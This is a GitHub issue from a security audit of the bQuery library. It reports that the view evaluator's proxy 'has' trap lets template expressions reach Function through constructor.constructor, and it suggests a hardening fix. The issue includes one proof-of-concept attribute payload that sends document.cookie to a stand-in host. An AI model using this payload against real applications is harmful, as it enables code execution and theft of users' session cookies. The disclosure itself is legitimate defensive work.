Title: [Medium][view] Runtime evaluator proxy has-trap resolves inherited props → constructor.constructor reachable · Issue #168 · bQuery/bQuery · GitHub
Open Graph Title: [Medium][view] Runtime evaluator proxy has-trap resolves inherited props → constructor.constructor reachable · Issue #168 · bQuery/bQuery
X Title: [Medium][view] Runtime evaluator proxy has-trap resolves inherited props → constructor.constructor reachable · Issue #168 · bQuery/bQuery
Description: Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted) Location src/view/evaluate.ts:152-158 (proxy has trap), sinks at :192 (evaluate) and :225 (evaluateRaw). Description evaluate/evaluateRaw comp...
Open Graph Description: Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted) Location src/view/evaluate.ts:152-158 (proxy has trap), sinks at :192 (evaluate) and :225 (evaluateRaw...
X Description: Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted) Location src/view/evaluate.ts:152-158 (proxy has trap), sinks at :192 (evaluate) and :225 (evaluateRaw...
Opengraph URL: https://github.com/bQuery/bQuery/issues/168
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"[Medium][view] Runtime evaluator proxy has-trap resolves inherited props → constructor.constructor reachable","articleBody":"## Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted)\n\n## Location\n[`src/view/evaluate.ts:152-158`](../blob/main/src/view/evaluate.ts#L152-L158) (proxy `has` trap), sinks at `:192` (`evaluate`) and `:225` (`evaluateRaw`).\n\n## Description\n`evaluate`/`evaluateRaw` compile `new Function('$ctx', 'with($ctx){ return (' + expression + '); }')`. Because `with` resolves names via `[[HasProperty]]`, and the lazy proxy's `has` trap returns `prop in target` (true for inherited `Object.prototype` members), an expression never needs anything in the context to escape:\n\n```\nbq-text=\"constructor.constructor('fetch(`//evil/?c=`+document.cookie)')()\"\n```\nresolves `constructor` off the context's prototype chain, reaches `Function`, and runs arbitrary JS. Any app that mounts DOM whose `bq-*` attributes are influenced by external input (CMS content, an API returning markup later passed to `createTemplate`/`mount`, or `innerHTML` + mount) has full RCE, not just HTML injection.\n\nThis is documented as \"equivalent to `eval()`\", but the docs frame it as \"similar to Vue/Alpine\"; the `constructor.constructor` reachability via the permissive `has` trap is worth calling out and hardening.\n\n## Suggested fix\nHarden the proxy `has` trap so inherited members do not resolve from the context object:\n```ts\nhas(target, prop) {\n if (typeof prop !== 'string') return Reflect.has(target, prop);\n return Object.prototype.hasOwnProperty.call(target, prop);\n}\n```\nNote this only covers `evaluate` (which uses the proxy); `evaluateRaw` runs `with(context)` on the raw object, so also consider blocking `constructor`/`__proto__`/`prototype` member access in the compiler and steering security-sensitive users to the AOT compiler build (CSP-`unsafe-eval`-free). See also the compiler-side hardening in the related \"emit `.constructor` chains\" issue.\n\n---\n_Filed as part of a full-codebase security \u0026 correctness audit._\n","author":{"url":"https://github.com/JosunLP","@type":"Person","name":"JosunLP"},"datePublished":"2026-07-05T17:03:11.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":0},"url":"https://github.com/168/bQuery/issues/168"}
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:0f455653-7350-ceb5-4a6a-6ef1966036c3 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | CFF0:1BDC7:F8C8B4:15AF216:6A4DEFCA |
| html-safe-nonce | 51c7d38458edb11448f5db518ff5165b0cb1304d8bb0e9b95474a4cf3482429a |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRkYwOjFCREM3OkY4QzhCNDoxNUFGMjE2OjZBNERFRkNBIiwidmlzaXRvcl9pZCI6Ijg3NjA2MjA0NTk1OTcwOTg5NTQiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 32529162c73e2087b88a7158f792edfdf57e7ba8d971871a13bb62e8ba9abcc3 |
| hovercard-subject-tag | issue:4813694229 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/bQuery/bQuery/168/issue_layout |
| twitter:image | https://opengraph.githubassets.com/fc3afe1fee22e2e6c020a80ce4fc4456055d0a6fd1457dff12986a4343d5e2ce/bQuery/bQuery/issues/168 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/fc3afe1fee22e2e6c020a80ce4fc4456055d0a6fd1457dff12986a4343d5e2ce/bQuery/bQuery/issues/168 |
| og:image:alt | Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted) Location src/view/evaluate.ts:152-158 (proxy has trap), sinks at :192 (evaluate) and :225 (evaluateRaw... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | JosunLP |
| hostname | github.com |
| expected-hostname | github.com |
| None | 5818716c93c6a2925b815402541a32814e43a7b1261c322b0c2df75224289566 |
| turbo-cache-control | no-preview |
| go-import | github.com/bQuery/bQuery git https://github.com/bQuery/bQuery.git |
| octolytics-dimension-user_id | 256381806 |
| octolytics-dimension-user_login | bQuery |
| octolytics-dimension-repository_id | 1139284244 |
| octolytics-dimension-repository_nwo | bQuery/bQuery |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 1139284244 |
| octolytics-dimension-repository_network_root_nwo | bQuery/bQuery |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | f4bb89367ca678f057d79b1abc45d6675b1bd5b2 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width